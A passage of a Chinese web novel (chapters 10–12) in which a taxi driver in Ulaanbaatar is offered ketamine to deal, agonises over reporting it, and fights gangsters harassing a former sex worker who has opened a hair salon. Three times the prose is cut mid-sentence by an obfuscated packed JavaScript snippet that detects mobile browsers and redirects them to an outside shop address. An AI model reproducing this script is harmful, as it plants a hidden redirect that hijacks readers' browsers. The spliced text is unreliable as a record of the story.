吃完收拾完已过宵禁,单位人走楼空,陈东实陪梁泽拉灭办公室的最后一盏灯,两人并肩走出公.安局。 大门口前,一个向左,一个走右,迟早会有的分别。 陈东实揣着兜问:“还有机会再见吗?” 梁泽笑了笑,“希望陈先生遵纪守法,警察局这种地方,还是永远不要来的好。” 陈东实笑了,确实,他像极了李威龙,却又有很多地方不像他。比如口音,李威龙半蒙古血统,自小在东北长大,成年后国籍随父亲转到了外蒙古,他的口音,带着明显的草原味儿,那种轻快的、明朗的,像呼和浩特大草原上的风。 而眼前人,音色沙哑、粗粝,有种沧桑阅尽的韵律,两者是不同的味道,截然相反,无关好坏。 “那......再见。”陈东实恋恋不舍地看着他的脸,害怕这又是一场永别。 梁泽含笑点头,小声说了声“bye”,徐徐走入月色之中。 “我叫陈东实!” 待人走出十数米外,男人振臂高呼。 “你可以叫我东子!也可以叫我东实!”陈东实隔着呼啸而过的汽车,与他在数道斑马线两头隔岸对走。 当然,他是说,有缘再见的话....... 陈东实停下脚步,摊开掌心,痴痴然看着手中的名牌。 5495,梁泽。 请原谅一个心灰之人的自私。 这是他白天趁梁泽不注意时,偷偷从他衣服上扒下来的。 这样就可以再见面了。陈东实望向人走的方向,乌兰巴托的夜,开始吹起暖风....... 10. Chapter 10 “来来来,今天你必须得喝,你不喝,就是没把我当大哥!” 陈东实刚上楼,就被老钟半推半拉往里头带,他刚从菜市场回来,手上提着大包小包的菜。 上回陈东实推了老钟的约,害他老婆白做了一大桌子菜,陈东实心里过意不去极了,今天交班时特意打了招呼,让嫂子好好休息休息,自己买菜,上门给他们一大家子做一餐饭。除了饭菜,他还买了好些个滋补品礼盒,尽是给老钟和他老婆准备的,聊表自己心中的一点歉意。 进了门,陈东实撸起袖子一头扎到厨房。老钟两口子看他忙得满头大汗,纷纷竖起大拇指,做人做事这方面,陈东实的确是个可堪深交的。 “我大侄儿啥时候回来?别等会菜都凉咯。” 陈东实掂着勺儿,刚出锅的糖醋鱼,撒上一圈葱花,完美。 老钟在一旁剥着蒜,转头看了眼墙上的钟,说:“快了,平常六点下班,我把小的也一起叫过来了。” 说曹操曹操到,老钟话音刚落,大小钟闹哄哄地进了门。陈东实探出半个脑袋,见有客人在,大小钟一一喊了声“东哥”,听得男人心里热乎乎的。 饭吃得很是顺心,老钟老婆比肖楠还健谈,聊起天来那是一个吐沫横飞,陈东实难得尽兴,多喝了几杯。席间老钟把陈东实此行前来的目的同大小钟说了,两小家伙自然喜不自胜,多个合伙人多条财路,大钟还拿了好几盒产品让陈东实回去喝喝看,喝一段时间再做决定。 陈东实是被扶着下楼的。 老钟夫妇也没喝少,小钟留下来照顾他们。大钟将人搀下楼,陈东实的车停在后头院子里,在乌兰巴托,带院子的平房是标配。 陈东实趁着酒意,递给大钟一支烟,两人靠在车头,没有散去的意思。 “这玩意儿......真能治疗癌症?” 陈东实醉得浅,没有完全失去理智,他掂量着手里的几盒保健品,从外观看,平平无奇,甚至有些简陋,对不上它一盒三千的天价。 大钟啜了口烟,清了清嗓,说:“你信吗.......哥?” “你小子.......”陈东实看着他的脸,哈哈哈笑了起来,“我就说哪有这么神的东西,要真能治癌症,那些什么医学专家也不用努力了,你这不是忽悠人吗?” “它的确不能治好癌症,”大钟凑近几分,吐出一口浓雾到陈东实脸上,眼神猛地尖锐,“可是.......我这儿有别的货,能让人忘记癌症。也比你手上这玩意儿更挣钱。” “啥.......?”陈东实被烟熏得有些呛鼻,连话也跟着说不清了。 大钟瞅了一圈,确认周围没有别人之后,拉开拉链,从牛仔外套的内衬里拿出一个小塑封袋,里头装着十来毫升白色的碎粉末。 “这是.......” 陈东实飘飘欲仙。 “这可是个好东西,外头买都买不到的好货色。”大钟拿起小袋子,在男人眼前晃了晃,如诱饵般,勾引道,“得了病的人,用了它,快乐似神仙,比太上老君的仙丹还管用,别说小病小痛,就是癌症,它也能让你忽略,就跟你喝大酒一样.......” 陈东实扶住车引擎盖,目光随着摇晃的塑封袋,逐渐有些模糊。 “这玩意到底是啥?”他只记得自己最后问了这么一句话。 “氯.胺.酮,”大钟露出一丝诡笑,“也叫K.粉。” “开什么国际玩笑.......”陈东实一棒槌从醉梦中清醒,用力揉搓着双颊,“这可是......” “我知道这是什么东西,”大钟收起塑封袋,瞧向别处,“我见你是个实诚人,才把这条财路指给你,跟不跟,你自己决定,别怪我没告诉你,就这小白.粉,小小一袋的利润,就能抵你好几个月工资。” 见陈东实没反应,他又说,“童童该上幼儿园了吧?明年上小学?小学以后还要上初中,然后是高中,大学。毕了业,嫁妆得要有吧?女孩子家总不能一辈子不嫁人,你觉着你开一辈子出租车能挣来房子吗?搞不好以后她连回娘家的地方都没有,嫁出去只能被男方嫌弃。” 草草几句话,句句扎进陈东实心中最柔软处。他自己无所谓苦,哪怕每顿开水泡馒头,吃上一辈子。可他身上系着童童的温饱,他不允许童童没有其他孩子拥有的一切。 “这样,你考虑考虑,考虑好了再告诉我。”大钟拍了拍他的肩,往他胸口塞了张名片,“有问题随时联系我,东哥,你是好人,我爸说了,好人该多帮助好人。” “你不怕我告诉你爸?”陈东实将头沉下去,整个身子没入阴影,“买卖毒品是重罪,这是犯法的!你爸不管你,警察也会出手。” “你舍得?”大钟不以为然地冷笑了一声,“东哥,人人都说你是大善人,既是善人,难道不能成全成全我?你告诉我爸,甚至告诉警察,无非是进去关几年的事,可是我爸......他五十多了,高血压,糖尿病,前年还中过风,你觉着,他受得了知道这事儿吗?” “你在威胁我?” “哪儿敢啊东哥。”大钟高举双手,作投降状,“我啥也没说。” “你做这个多久了?” 陈东实斜眼睥了他一眼,忽而觉得眼前人早已不是那个骑在自己肩膀上“驾驾驾”的熊孩子了,他早脱离了大人的掌控,自成一片天地。 大钟没接陈东实的问,反问他:“你不觉得你有些多嘴了吗?” “你去自首吧。”陈东实想了想,撇了手上的烟,但愿眼前人还能悬崖止步,“我给你三天时间,你自己去警察局自首,不然,我就去禁毒大队举报,就算得罪你们全家人,我也要举报。” “一定要这样?”大钟收起混不吝的笑意:“陈东实,别特么给脸不要脸。” “我谅你还小,不懂这个事情有多严重。这可是毒品啊,吸多了可是会死人的!你要是沾了这玩意儿,你这辈子就完了!”陈东实极力劝解,“还有,你知不知道你今天跟我说的这些话被你爹妈知道了,他们有多心痛?你想过他们吗?” “我怎么没想?!”大钟不留余地地吼了回去,“我过够了行不行?连水电费都交不起的日子我过够了行不行?我爸的医疗费,我妈大腿上打的十来根钢钉,我弟要上学,你告诉我,你是我我该怎么办?!我怎么没想他们?我想得不能再想,没有人能比我更在乎他们!没有!” “会有办法的,总不能拿命去犯险.......” 陈东实将人松开,亦心有不忍。 “无所谓,说了你也不懂。”大钟揣紧衣服兜,神色错乱,“想举报就举报吧,毁了我们这一大家子,你也别想好过。” “三天,”陈东实没有阻拦他的离去,两人背着身,各有各的黑白殊途,“我只给你三天时间。” 大钟哼了一声,将烟蒂扔开,什么也没说便上了楼。 回程路上,陈东实心事重重,夜里躺在床上,翻来覆去地睡不着觉。 他一闭眼,眼前尽是刚来乌兰巴托时,老钟带自己去劳务市场找活计的情景。 那时自己左不过十来岁,跟现在的大钟差不多的年纪,老钟也还年轻,一人能干两三个人的活儿,他是工友里最卖命的那个,每月到手的钱,全寄给老婆孩子,更像挤牙膏似的,明里暗里拿了不少私房钱接济自己。 多年以后,陈东实进了出租车公司,第一件事就是把老钟也引荐了进来。两人的生活这才依稀有了些气色,后来老钟把老婆孩子接来了乌兰巴托,李威龙去后这几年,老钟出力最多,说没感情,那肯定是假的。可正因为有感情,事到如今,陈东实反而不知该怎么办了。 陈东实越想越烦,第二天早饭都没吃,跑了趟禁毒大队。 他将前夜写好的匿名举报信抽出来,在观察周围没有什么路人后,做贼似的跑到检举信箱前,正要投进去,手机响了。 陈东实瞄了眼来电,是个陌生号码,顺手掐了。 结果刚要投,旁边又熙熙攘攘走过一群人。 陈东实忙拉低帽檐,明明贩毒的不是他,却搞得自己像个劳改犯似的,他嗤笑一声,待人走后,重新将信封拿了出来。 手机复又不合时宜地响起。 这一回,陈东实彻底恼了,低头一瞧,竟还是那个号码。陈东实狠狠摁下通话键,没好脾气地问,“谁啊?” 那头传来一阵轻柔的女音,“东哥,是我。” 是徐丽。 陈东实僵硬地“哦”了一声,忙调整了下语气,“我刚寻思下了班打你电话,不想你这么快打来了。” 徐丽说:“我看你迟迟没给我打,先问警察同志要了你号码。怎么样,东哥,没打搅你吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281108|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没,怎么说,有事?” 陈东实举着电话走到一边,他做不到一心干二事,何况这信投出去了,老钟一家可就真爆雷了。 电话那头的女人音色柔婉,“东哥......先前的事,我还没好好谢你。来电话没啥事,就想请你来我店里玩玩......” 陈东实老脸一红,一时间不知该如何应答。 徐丽忙解释:“不是你想的那样......我跟朋友凑了点本钱,盘了个发廊,你放心,东哥,我记着你说的话,不做违法的事,做的是合法买卖,只是洗头......洗头做头发。” “动作这么快,”陈东实几多欣慰,“几天不见,你就东山再起了。” “那能怎么办,我总不能由自己饿死。”徐丽笑了一笑,“说真的,东哥,回头地址我发你,你有空来转转,我请你吃饭。” “行,我抽空就去。”陈东实捏着信封,心里盘算着到底要不要投出去。转念一想,正好徐丽也在,他拿不准主意,听听徐丽的意见也好,上回也是她替自己指明了方向,才让自己坚定去市监狱所见王肖财的决心。多一个人参考总不会错。 陈东实掏心掏肺地说:“妹儿,我问你个事。如果一个对你很好的人,他家里人犯了很大的错,不可原谅的那种,你会选择告诉那个对你很好的人吗?” “那得看他家里人犯了啥错。”徐丽并不觉得男人的这个问题有多突兀,在徐丽这里,陈东实可以说他想说的一切。 “就是......就是......”陈东实就是了半天,艰难脱口道:“就是如果是一些违法的事呢?” “你问我这个问题,心里就已经有你自己的答案了。”徐丽一针见血,“就像你跟那个警察的事情一样。” “你知道了?”陈东实心下一凉,在徐丽面前最后一块遮挡也没了。 “我知道了,是我问李警官的,就那年纪轻轻的小姑娘。”徐丽放慢了些语气,“东哥,节哀。” “我没事,”陈东实牵强笑笑,哪怕旁边没有别人,笑给自己看也好,“行了,我知道答案了,谢谢你。” 陈东实匆匆挂断电话,走到信箱前,抬头眺向禁毒大队门口的横幅。 “珍爱生命,远离毒品”,八个大字,震耳发聩。 算了....... 陈东实揣回信封,认为还是要给大钟一个改过自新的机会。诚然如他所言,三天,他只宽限三天,三天之后,他要还不自首,自己就亲自来禁毒大队检举。他有自己的准则,哪怕......哪怕会伤害一个无辜的父亲。 回公司路上他一直在回味徐丽的话,还真别说,虽说自己和徐丽认识时间不长,但这个女人说起话来,倒真能次次踩到自己心坎儿上。她甚至比肖楠还要明白自己,这个妹妹,他认到就是赚到。 卖保健品这条财路是断了,要想搞钱,得想点其他路子。陈东实翻出电话薄,找到当初做兼职导游时的负责人的号码打了过去。对方一听是陈东实,还跟从前一样热情。 当初他就不止一次吆喝陈东实辞了司机的活儿,全职做导游。他肯吃苦,心细,对乌兰巴托的地标烂熟于心。 做好一个导游并不在于他能背书多少人文景观、名胜古迹,而是有真正生活过的底气,像恋爱一样。陈东实和这座城市谈了十几年恋爱,鲜少有外地人能比他更清楚乌兰巴托的脾性。 面对负责人的邀约,陈东实犯了难。这家出租车公司虽薪水平平,但胜在感情深厚,七八年待下来,他和老钟算是最老的一批员工。如果贸然辞职,旁的倒不打紧,只是要离了合作十多年的老搭档,又因为先头有大钟这一档子事儿,陈东实这心里,还真有一丝不舍。 独在异乡为异客,每逢佳节倍思亲。陈东实孑然一人,李威龙、肖楠和童童离开自己后,老钟就是自己的“亲”。陈东实老母在时说过,一个人,可以一无所有,但不能没有“亲”,这么多年,陈东实最看重的便是人与人间的感情。 两厢权衡下,陈东实还是委婉拒绝了对方的邀请,表示还是跟从前一样,做个兼职导游即可。 对方一听,顿没了刚刚那股子热乎劲儿,连压了三个点,把抽成做到七成。这明摆着欺负老实人。 陈东实不乐意,对方便破口大骂,这下他懂了,又一条财路因为自己这软性子,被活生生给掐断了。 11. Chapter 11 丽丽美发屋。 陈东实站定在涂了新漆的招牌前,望向玻璃上的海报。海报上的女人红唇卷发,眼神魅.惑,只要是男人都会忍不住多看两眼。 “新拍的啊?”陈东实昂着头,杵在门口,砸吧了好几遍,才认出海报上的女人是徐丽。 前几次见她,要么是捣毁卖.淫窝点时的狼狈,要么是住院期间时的憔悴,谁想换了衣服,化了妆、烫了头,做起封面女郎来有模有样。 徐丽拉开门,见陈东实站在日头下,忙招呼他进门。陈东实路上买了篮鲜花,恭贺徐丽新店开业,徐丽一早将铺面儿里外打扫了个遍,上午没啥客人,两人正好能唠唠嗑。 “东哥......” 有段日子没见,兄妹二人都有些生疏。 陈东实在屋里转了圈,不禁感慨:“不错。地方看着小,但收拾得很干净,到底是年轻,能折腾。” 徐丽受了赞,高兴得笑成了一朵花儿。她将陈东实送的花篮摆到门口最显眼处,今儿天也好,到哪儿都暖洋洋的。 “嗐,凑合着过吧。”徐丽拉来塑料凳引人坐下,“房租可不便宜,忙起来一个人也应付不过来。” 陈东实左看右看,颇为赞许:“敢情生意好,有钱赚还不乐意,你偷着乐吧。” “还得找帮工。” 徐丽刚坐下,屁股还没焐热,进来个客人。 “东哥你自个儿坐会,午饭别走了,咱俩待会下馆子去啊。” 陈东实含笑点点头,见徐丽撸起袖,麻利地帮客人垫毛巾、试水温,俨然一副当家老板娘的模样。 徐丽身高高挑,皮肤又白,腰跟漏斗似的,曲线勾人。难怪那群男人没钱也要嫖她,这样的尤物,生在哪里,都会是一段风流冤孽。 陈东实将目光从徐丽身上挪开,逗起门边一条小土狗。水流声哗啦啦不停,屋里电视放着苦情泡沫剧,男主出轨女主闺蜜的狗血剧情。中途徐丽递了两个橘子给陈东实,陈东实正嫌没事做,吃点橘子,谋算着下午要不要去趟劳务市场,找找新兼职。 徐丽看出某人的心事,帮客人泰式洗的功夫,她说:“这天儿是闷哈,一到中午,身上跟爬满小虫子似的,臊得慌。” 陈东实含着橘瓣,“嗯”了一声,问:“你有认识啥人不?招工啥的,我想找个临时工做做。” “这不巧了吗?”徐丽晃晃一笑,“我刚还想问你,有没有认识啥人,我这儿正需要人手。” 说到一半,她恐觉不妥,又改口:“不过我这儿要坐班啊,你说你开出租车,时间冲突,对不上,不然你来我这儿上班算了。” “我这皮糙肉厚的,哪能干这精细活。”陈东实低头看着自己满是伤疤和茧的手,这样一双糙爪子,帮客人按摩洗头,不被嫌弃死才怪。 何况自己还是个男人,他们才不要男人伺候呢,巴不得都是女的,还得是年轻女的,最好跟徐丽一样,肤白貌美、臀大腰细,陈东实身为男人,最了解男人的心思。 “招个小姑娘就好了。”徐丽合计了一下,“年纪小没事,只要肯吃苦,肯吃苦比什么都好。” “行,我有空帮你留意着。”见徐丽这儿行不通,陈东实只好另想办法。 送完手头客人,这一上午便再也没来啥人。徐丽索性闭门,提前半个小时领陈东实去吃饭。两人一路沿街走看,徐丽非要挑个好点的馆子,两人最后决定去吃涮羊肉。 在乌兰巴托,牛羊肉堪比国内的大白菜,是底层人的“麦当劳”。陈东实是来乌兰巴托后胖的,年轻时候的他,一身排骨,在乌兰巴托吃了几年牛羊,变得精壮许多,收起小臂时,甚至还能看见鼓胀的肱二头肌。 徐丽给他叫了瓶白酒,陈东实甚少喝酒,高兴时会整点。徐丽酒量比他好,没一会功夫,一瓶子见底,两人皆有些醉意,尤其陈东实,脸涨得跟大柿子一样,烟都举不大住,手一个劲发抖。 “我跟你说,就年轻的时候,这玩意儿,我一口气能干半瓶.......” 和许多男人一样,陈东实发醉时,也爱高谈阔论。 “不信你工友里问一问,那时候谁能喝过我?” 男人拉着个大逼脸,抹了把嘴,起手点了根烟。 “年轻多好啊,天不怕地不怕的,老了反而臊眉耷眼的,被日子磋磨的,没劲死了。” 陈东实吐出一口烟,抓了抓后背。对座的徐丽一脸微醺朦胧,杯沿引满鲜红的唇印。 “这么多年,就没找个伴儿?”徐丽佯装无意地问,筷子不停在锅里扒拉着,眼神忽闪忽闪。 陈东实含羞一笑,摸了摸冒油的鼻头,说:“离了。” “东哥不喜欢女人吧?”徐丽将捞出来的一片肥羊肉放到对面碗里,面儿上依旧挂着滴水不漏的笑。 陈东实猛地清醒,坐正身子,瞬时觉得这个女人好生地不简单。 “我早看出来了。” 徐丽睥了他一眼,掏出女士烟,转动火机,“啪”一声将烟点着,动作比陈东实娴熟百倍,一看就是老烟枪。 “没有男人不好色的,除非......”她啜了一口,眼线微挑,“他压根不喜欢女人。” 陈东实第一次被一个女人审视得如此精准到位,两人不过认识个把月,搭上话的日子屈指可数,可自己好像被她看了个遍,比裸.体站在她面前还尴尬。 “我接触过的人不少,尤其是男的。”徐丽握住陈东实搭在桌上的手,晕出一抹媚笑,“男人不就裤.裆子里那么点事儿?” “别说出去,”陈东实小声开口,眼神中略带恳求:“别告诉别人.......” 他做不到别人那样潇洒,面对性取向之流的秘辛,他无心声张。即便是对李威龙,他对外也只是声称朋友、兄弟甚至家人,他不敢说“爱人”,这一点上,他的确懦弱。 “多大点事,”徐丽替他开解,“人活一世,开心就好。是那小警察吗?” “什么?” “就你喜欢的人。”徐丽埋头吃菜,“叫什么李龙威还是啥来着。” “李威龙。”陈东实见徐丽把话都说到这份儿上了,觉得自己也必要遮掩什么了。 “就你车头挂着的画上的那人?”徐丽想了一下,努力回忆着什么,“话说我出拘留所的时候,好像见到过一个人,跟那画上人挺像。” “乌兰巴托就这么屁大点地儿,绕城开一圈不过四十分钟。”陈东实闷声一笑,手指叩击着桌板,“你说的那人不是我要找的人,他叫梁泽。” “哦我想起来了,”徐丽后知后觉,“他是缉毒队的,我被拘留的时候,他还跟同事来做过什么普法教育,长得细皮嫩肉的,一看就是没经历过啥事的小牛犊子。” “是吧。” 陈东实眼神微虚,想到大钟,今天是第三天了,那头好像还没什么动静,待会是要打个电话问问。 “哦,他还跟我留了个办公室电话呢,说让我有啥线索及时联系他。” 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281109|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽忙放下筷子,从包里翻出一张折纸。 “啥意思?”陈东实接过号码,速记了一遍,“啥叫有线索及时联系他?” “没啥......”徐丽表情僵了一下,“吃菜,吃菜啊。” 陈东实咳了一声,并不打算任由她这样糊弄过去,他看着徐丽虚掩的客套,表情像结了冰一样冷峻。 徐丽缴械认输,她小声道:“也没啥.......就先前不是认识几个人吗,吸粉啥的......” 见陈东实一脸严肃,她调笑道:“哎呀不是啥大事,我不吸那玩意儿,俗话说黄赌毒不分家嘛,干皮肉生意的,多少跟那伙人沾点瓜葛。” “你确定?”陈东实一改和蔼的常态,正儿八经道:“那玩意可不是闹着玩的,你要是敢碰那东西,咱们兄妹没法做!” “我发誓,”徐丽起手立誓,“我徐丽不管是从前,还是以后,都不会碰那些东西一分一毫。” 男人面色稍缓。 “不过是之前有几个老主顾,时不时整点......”徐丽低下头去,“梁警官让我留心着,要是那群人还联系我,让我立刻联系他。” “那你得揣好了。” 陈东实将纸条还给了徐丽,趁她没注意,陈东实默默记下了电话号。 “你一定记住,什么事该做,什么事不该做,咱们要对得起自个儿的良心。” 陈东实意识到刚刚语气有些重,夹了块大肉放到徐丽碗里。 两人吭吭哧哧将剩下的菜一点点给消灭了,午后陈东实还得去趟劳务市场,就此跟徐丽作别。 但他并没有真的去劳务市场,而是半道拐到公用电话亭,给梁泽打了个电话。 对方很快接通了,陈东实高兴得直跺脚,几天没联系,心里怪挂念的。 “梁警官......我.......我是陈东实。” 他小声问候着,生怕哪个字、哪句话说错了,让对方觉得不舒服,不愿意同自己讲话。 “哦,陈师傅,”接听的是个陌生的声音,陈东实并不认识,“梁泽病了,今儿没来上班。” “病了?他怎么了?” 陈东实心头一揪。 “估计刚来,水土不服,这两天请假了,你找他有事?” “没......没有.......” 陈东实放下听筒,一腔雀跃被浇了个透,还平添了几分担忧。 “那你知道他住哪儿不?严重不?”陈东实大气也不敢出,“好端端的,怎么病了?” “这我还真不清楚,您有事吗?有事的话我转告他也行。”对面人讲话清爽又干脆。 “不用不用,谢谢你......” 陈东实放下电话,坐到马路边,看啥都有些不顺眼。 “喂,老曹,我........” 回到车上,陈东实忙不迭给曹建德去了个电话。 曹建德像是知道陈东实要问什么似的,没等他把话说完,便道:“你等会,我正开会,回头我把他私人手机号给你,你自己问。” 陈东实连声道谢,忙拉下车前镜,理了理蓬乱的刘海。 一个多月没剪头发,是有些邋遢哈,陈东实摸着下巴上的胡渣,笨死了,在徐丽那儿干坐了一上午,怎么就没让她帮自己收拾收拾。 陈东实扳动车刹,将车子倒回到徐丽的店门口,底盘还没停稳,便见一群叽叽喳喳的黄毛拎着铁棍和刀具,直直往丽丽美发屋走。 12. Chapter 12 “呦,丽姐,开新店儿啦......” 一伙人油光满面地荡进发廊,引头的是个瘦高个,光着半身膀子,背后一条赤花大蟒,模样甚是轻浮。 “丽姐牛啊,这身材,比之前更顶了哈。” 一群男人没皮没脸地淫.笑成一片。 徐丽被众人团团围住,坐在桌子上,毫不慌张。流氓地痞她见得多了去了,眼前人她认识,叫张猴,真名叫啥她忘了,只知道他身板奇瘦,跟猴儿一样,所以身边人都这么喊他。 徐丽大方坐下,搭起二郎腿,收缩的包臀裙向上提了提,露出一节白晃晃的大腿。下半截裹着薄透的黑.丝,隐约散发着一股肉香,引得屋子里的男人都有些燥热,不自觉地纷纷舔起嘴皮,面目饥渴。 “猪仔呢,”徐丽一双凤眼,横来扫去,“你们老大最近可好,出来有段日子了,是找不到新妞儿,怀念起我这旧人了?” “瞧您这话说得,哪儿能啊,”张猴贼精似的拉起徐丽的手,轻轻摸了摸手背,说,“猪进去了,几个月前德叔喊他收拾几个人,不想这家伙下手重了,把对面打成了重伤,德叔搁外地避风头呢。” “少他么跟我这儿揩油,”徐丽触电似的缩回那只被触摸的手,撩撩大波浪,笑:“别忘了自己的身份,你家老大要知道了,没你好果子吃。” “是是是,丽姐说得是,”张猴连连应妥,拉来张板凳,坐了上去,“怎么,出来还做以前的营生?还卖啊?” “卖你妹啊卖,”徐丽气得直翻白眼,“狗嘴里吐不出象牙。” 她一一环视了一圈屋内众牛鬼蛇神,清了清嗓,有模有样道:“顺带着告诉你们老大一声,我从良了。” “啥——?” 张猴一愣,看向旁边人,双方短暂沉默后,骤而一瞬,哈哈哈哈一片,屋子里满是男人的调笑声。 “从良?你?”张猴乐得不行,“你逗小孩儿呢?” “我没开玩笑,”徐丽双手抱胸,看着张猴的眼睛,一字一顿:“再说一遍,听清楚些,老、娘、不、干、了。” “这事儿由不得你!”张猴一口回绝,仿佛徐丽不过是他手中的一只金丝雀,生杀不过在他一念之间,“我今儿来就是想告诉你,德叔今晚回乌兰巴托,点名叫你陪,你.......必须去。” 徐丽面色微凛,藏在腰后的手,拳头紧拧,显然抗拒极了。 这一切被陈东实看在眼里,他躲在门口,静耳听着屋内发生的一切,心里盘桓着挥之不去的五味。 “一个还不够,德叔说了,把你从前那些小姐妹也叫上,挑几个姿色好的,今晚他有重要客人。” 张猴拎起钢棍,跟抡高尔夫球似的,将桌上一个玻璃杯抡了出去。“啪”一声脆响,徐丽被惊得浑身一激,玻璃渣溅了一腿,她不敢不从。 “看见了吗?碎了。”张猴走近女人,从后一把抓住徐丽的头发,迫使她不得不看着自己的眼睛,“一日为娼,终生下贱,不然要你来干啥?你不就是男人的公共厕所?” 陈东实心里一阵恶寒,这样侮辱性强烈的言语,连他一个男人听了都感觉生理不适,更别说徐丽一个弱女子。 他脑袋一热,一个箭步冲了进去。 “来客人了?” 张猴看了眼门口的陈东实,以为他是来洗头的,渐松开徐丽。 “你刚刚说什么?”陈东实坦步上前,即使赤手空拳,也毫不畏惧这满屋子的刀刀棍棍,“有种再说一遍.......” “啥意思?”张猴吭哧一笑,“英雄救美?” “东哥......”徐丽忙上前拉劝。 “滚开点儿!” 张猴一把将人推开,刚要冲陈东实发难,不想迎头一记重拳袭来,半颗门牙被打飞了出去。 “你她妈再碰她一下试试?!”陈东实举起手旁的烟灰缸,不等张猴儿反应过来,“哐”一声砸在他头上。 眼前人的脑袋立刻蹦出一注鲜血,跟趵突泉似的,滋滋不停。 “你们特么的还愣着干什么?打啊!” 张猴扶着鲜血淋漓的天灵盖,五官扭曲到极致。众人方从错愕中回神,一窝蜂似的上前,跟陈东实扭打在一起。 “别打了,猴儿,快停手,别打了!” 徐丽失声大叫,扒拉着张猴的手替陈东实求情,可张猴哪儿还听得进去话?只见手下喽啰人多势众,不肖半刻便将陈东实制服,压在身下,半分动弹不得。 “牛啊,继续牛啊,你不是很牛吗?”张猴望着眼前男人,蹲下身,顾不上满脑袋往外滋滋滋的血,“是条汉子哈,我记住你了。” “滚你.妈的!”陈东实吐出一口唾沫,恶狠狠地望向身前,“就会欺负女人,有本事咱们出去单挑!” “你还真把自己当根葱了是吧?!”张猴一把掐住陈东实的脖子,骨节咯咯作响,“臭他么屌.丝一个,也不看看自己多大能耐?你知道你今天出头的是什么人吗?这可是——” 张猴话还没说完,门口一堵黑影欺压上前。张猴抬头一眺,脸色大变,忙将陈东实松开,将腰身捋得笔直。 “德叔.......” 徐丽垂下头去,不敢看来人的脸。 “您不是今晚的火车吗?”张猴满脸堆笑,瞅着自己满头满脑的血,怪狼狈的,“咋不说一声,提前到了?” 来者是个四十多岁模样的中年男子,与张猴痞里痞气的调性不同,这位被称作德叔的男人一身中山装,内衬洁净,皮鞋锃亮。他的右手手腕处,盘着一串紫檀香珠,每一根发丝服帖在耳后,面容儒雅,不似红尘中人。 “德叔好......!” 众小弟齐声问候,陈东实抽了口气,趴在地上,实在没有力气细看这位德叔。 马德文温温一笑,没有理会众虾兵蟹将,而是径直走到徐丽身前,款款拉起她的手:“来晚了,吓到你了。” 徐丽拢了拢垂落的乱发,尴尬笑笑。马德文替她理了理刘海,垂眼看向张猴,反手一记狠戾的耳光,直接将人掀翻在地。 “德......德叔......” 张猴本就有伤,挨了一巴掌,更是吃痛,血止不住地往外冒。他吓得名字都喊不利索。 “你就是这么跟你未来嫂子说话的?”马德文目光一斜,看向地上的陈东实,“丽丽的朋友,就是我的朋友,你不尊重她的朋友,就是不尊重我。” 张猴吃了瘪,一时无法反驳,只得低头闭嘴。 “原是计划今晚请你去的,可我在车上一直想着你,没忍住,就先来找你了。”马德文看了圈这逼仄的美发屋,和颜悦色,“你何必这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281110|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样辛苦,亲自操办这些,你要喜欢做生意,我盘几家赌场给你做就是,把自己搞得这么累,故意让我心疼。” 徐丽略带抵触地笑了笑,别过脸庞,似不满马德文对她的抚弄。她上前将陈东实扶起,挨了底下人一顿打,陈东实只沾了些皮外伤,还好不算特别严重。 “今晚你来金蝶,包厢号你知道。”马德文摸了摸女人的脸,满眼是爱慕:“几个月不见,你又瘦了。” 没等徐丽表态,他自顾走到陈东实身边,递上一支烟。 “兄弟有时间,晚上一起来玩儿吧,我老马做东。” 陈东实看了徐丽一眼,堪堪接过,还没弄清楚眼前怎么回事。 徐丽说:“最后一次,我只陪你最后一次,下不为例。” 马德文垂头一笑,领着众人,什么也没说,幽幽散去。 “东哥......你没事吧东哥?让我看看你的伤......” 待人走后,徐丽才敢哭出声音,适才她一直忍着,连悲伤的胆气都没有,满心满眼只有恐惧。 “那群家伙是什么人?”陈东实在徐丽的搀扶下安身坐下,简单上了点药,“好端端的,找你麻烦干什么.......” 徐丽拧着碘酒瓶的盖子,抿嘴不语,陈东实也不好追问。 “算了,你想说就说,不想说就算了。”陈东实看着手上渗出的血渍,惊魂不定,“刚刚那个叫德叔的,让你晚上去什么金蝶,那是什么地方?” “一个KTV,”徐丽抽噎了一声,抬起脸,泪眼朦胧地看着陈东实,“都怪我,平白无故把你卷进来,不然以后我们还是别联系了。” “你到底有什么事瞒着我?”陈东实抓住她的手腕,细问道:“那个男人为什么称呼你未来嫂子,怎么,你跟他有婚约?” “没有......没有婚约......”徐丽矢口否认,抹了抹泪,一一坦白:“他叫马德文,打你的那个,叫张猴。马德文是金蝶的股东,明面儿上是做酒水生意,背地也搞些灰产。” 